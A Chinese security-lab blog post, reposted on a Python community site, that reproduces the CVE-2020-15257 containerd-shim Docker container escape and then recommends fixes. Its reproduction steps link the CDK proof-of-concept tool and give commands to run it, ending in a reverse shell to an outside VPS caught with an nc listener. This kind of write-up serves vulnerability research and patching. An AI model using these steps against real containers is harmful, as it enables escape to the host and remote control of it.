社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

CVE-2020-15257 Docker逃逸漏洞复现

弥天安全实验室 • 4 年前 • 304 次点击  


网安引领时代,弥天点亮未来   





 


0x00漏洞简述

2020年12月01日,Containerd 官方发布安全更新,修复了 Docker 容器逃逸漏洞(CVE-2020-15257)。Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shimAPI,从而实现Docker容器逃逸。Containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。


0x01影响版本


containerd <1.4.3

containerd <1.3.9



0x02漏洞复现


虚拟机部署有漏洞的Containerd版本环境,这里我使用的版本是:1.3.3

docker version

1、以 --net=host 方式启动容器

docker run -itd --net=host ubuntu:18.04

简要来说,containerd->containerd-shim->runc的通信模型中,containerd-shim的接口作为abstractunix socket暴露,在docker使用net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。

2、在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

然后可看到抽象命名空间Unix域套接字。

3、看系统内核版本

uname -a

4、下载POC,根据需求上传

https://github.com/Xyntax/CDK/releases/tag/0.1.6


5、这里为了方便复现漏洞,直接把POC复制到docker中

1.首先查看当前docker镜像

docker ps

2.将POC复制到docker容器

docker cp cdk_linux_386 1cd60293a80c:/tmp

6、执行POC反弹shell,完成逃逸。

./cdk_linux_386 run shim-pwn 6.6.6.6 12999   (VPS)

nc -lvp 12999



0x03修复建议


1、升级 containerd 至最新版本。

2、通过添加如

deny unix addr=@**的AppArmor

策略禁止访问抽象套接字。



0x04参考链接


https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew

https://xz.aliyun.com/t/8681#toc-2





 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,
予以风动,
必降弥天之润!


   弥  天

安全实验室





Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/105002
 
304 次点击